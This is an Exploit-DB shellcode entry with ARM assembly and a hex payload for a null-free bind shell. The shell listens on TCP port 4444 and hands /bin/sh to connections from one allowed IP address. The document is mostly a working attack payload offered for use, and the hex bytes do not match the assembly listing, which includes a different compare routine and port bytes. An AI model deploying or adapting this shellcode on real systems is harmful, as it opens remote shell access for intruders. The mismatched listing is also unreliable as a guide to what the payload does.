Linux/ARM - Bind (4444/TCP) Shell (/bin/sh) + IP Controlled (192.168.1.190) + Null-Free Shellcode (168 bytes)

EDB-ID:

44143

Size:

168 bytes

Author:

rtmcx

Platform:

ARM

Published:

2018-02-19

/*
* Title:  Linux/ARM - IP Controlled Bind Shell TCP (/bin/sh). Null free shellcode (168 bytes)
* Date:   2018-02-17
* Tested: armv7l (Raspberry Pi v3) and armv6l (Raspberry Pi Zero W)
* Author: rtmcx - twitter: @rtmcx 
* Description:	The shellcode will only allow the connection to execute the shell if originating from the allowed IP.
* 				Otherwise, the connection is dropped and the shellcode will wait for a new connection.
*/

.section .text

.global _start
_start:
	/* Enter Thumb mode */
	.ARM
	add	r3, pc, #1
	bx	r3

	.THUMB
	nop							// nop needed for address alignment

/* Create a new socket*/
	mov		r0, #2				// Add values for	
	mov		r1, #1				// socket creation
	eor		r2, r2, r2			// Zero out r2
	mov 	r7, #200			// Put 281 in r7 ...
	add		r7, #81				// ...in a 2-step fashion
	svc		#1					// Execute syscall

	/* The new socket will be returned in r0, which will be used later, i
	   so save the new socket to another register (r4). */
	mov	r4, r0					// Save socket in r4


/* Bind socket */
	adr 	r1, struct_addr		// address to string "1,1,1,1"
	strb	r2, [r1, #1]		// replace to 0 for AF_INET
 	str 	r2, [r1, #4] 		// write 0.0.0.0 to r2
	mov 	r2, #16				// address length str r2, [r1, #4] 
	add 	r7, #1				// r7 already contains 281
	svc 	#1					// Execute syscall


/* Listen for connections */
	mov 	r0, r4			// r4 has saved sock_fd
	mov 	r1, #2			// Backlog value
	add 	r7, #2			// r7 already contains 282
	svc		#1


/* Accept incomming connections */
accept:
	mov		r0, r4				// r4 has saved sock_fd
	mov		r8, r4				// Save srv-socket in r8
	eor		r5, r5, r5			// Get some NULLs
	adr		r1, struct_client_addr  // Put address of struct_client in r1
	strb	r5, [r1, #1]		// replace 0 for AF_INET
	adr		r2, addr_len		// Address to variable for addr_len
	add		r7, #1				// r7 already contains 284
	svc		#1

	mov		r4, r0				// save client_sock in r8 


	/* Compare the clients ip against the allowed..*/
	adr     r5, client_ip		// Save the address to the clients IP in r5
	adr 	r1, allowed_ip		// Save the address to the allowed IP in r1

	ldr     r3, [r1]			// Load the client IP value into r3
	ldr     r2, [r5]			// Load one allowed IP value into r2

	cmp		r2, r3				// compare the bytes
	bne		close				// Not same, close the connection



/* IP Address match */
/* Duplicate STDIN, STDOUT and STERR*/
	mov 	r0, r4				// Saved sockfd 
	eor 	r1, r1, r1			// Zero r1 for STDIN
	mov		r7, #63				// Syscall for dup2
	svc 	#1					// Execute syscall

	mov 	r0, r4				// Saved sockfd
	add 	r1, #1				// STDOUT
	svc		#1					// Execute syscall

	mov 	r0, r4				// Saved sockfd
	add 	r1, #1				// STDERR
	svc		#1					// Execute syscall


/* Execute shell */
	adr 	r0, shellcode		// address to "/bin/sh"
	eor	r1, r1, r1				// zero out r1
	eor	r2, r2, r2				// and r2
	strb	r2, [r0, #7]		// Replace 'X' with NULL
	mov	r7, #11					// Syscall for execve
	svc 	#1


/* Close current connection (used if connection is from unallowed IP) */
close: 
	mov 	r0, r4				// Put saved client sockfd into r0
	mov 	r7, #6				// Syscall number for "close"
	svc 	#1					// Execute syscall

	/* r7 now contains 6, so we must restore the value to 284 (accept will add 1 to get the correct value)*/
	mov 	r7, #200			// Put 284 in r7 ...
	add		r7, #84				// ...in a 2-step way
	mov 	r4, r8				// Restore saved sock_fd to r4
	b		accept				// After we closed the connection,
								// wait for a new connection

/* Structs and variables */

struct_client_addr:
	.ascii "\x02\xff"			// AF_INET 0xff will be NULLed 
	.ascii "\x11\x11"			// Client port number
client_ip:
	.byte 2,2,2,2				// Client IP Address (8 byte)

struct_addr:
	.ascii "\x02\xff"			// AF_INET 0xff will be NULLed 
	.ascii "\x11\x5c"			// Port number 4444 
	.byte 1,1,1,1				// IP Address (8 byte)

shellcode:
	.ascii "/bin/shX"

allowed_ip:
	.ascii "\xc0\xa8\x01\xbe"	// The allowed IP (192.168.1.190)

addr_len: 
	.ascii "\x10\x10"			// accept() must have the length of the struct in a variable

/*
Compile and link with: 
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode

\x01\x30\x8f\xe2\x13\xff\x2f\xe1\xc0\x46\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x04\x1c
\x1d\xa1\x4a\x70\x4a\x60\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\xa0\x46
\x6d\x40\x15\xa1\x4d\x70\x1b\xa2\x01\x37\x01\xdf\x04\x1c\x5b\x40\x52\x40\x12\xa5\x16\xa1\x05\x26
\x0b\x78\x2a\x78\x9a\x42\x14\xd1\x01\x35\x01\x31\x01\x3e\x01\x2e\xf6\xd1\x20\x1c\x49\x40\x3f\x27
\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x0a\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27
\x01\xdf\x20\x1c\x06\x27\x01\xdf\xc8\x27\x54\x37\x44\x46\xd1\xe7\x02\xff\x11\x5c\x02\x02\x02\x02
\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58\xc0\xa8\x01\xbe\x10\x10\xc0\x46

*/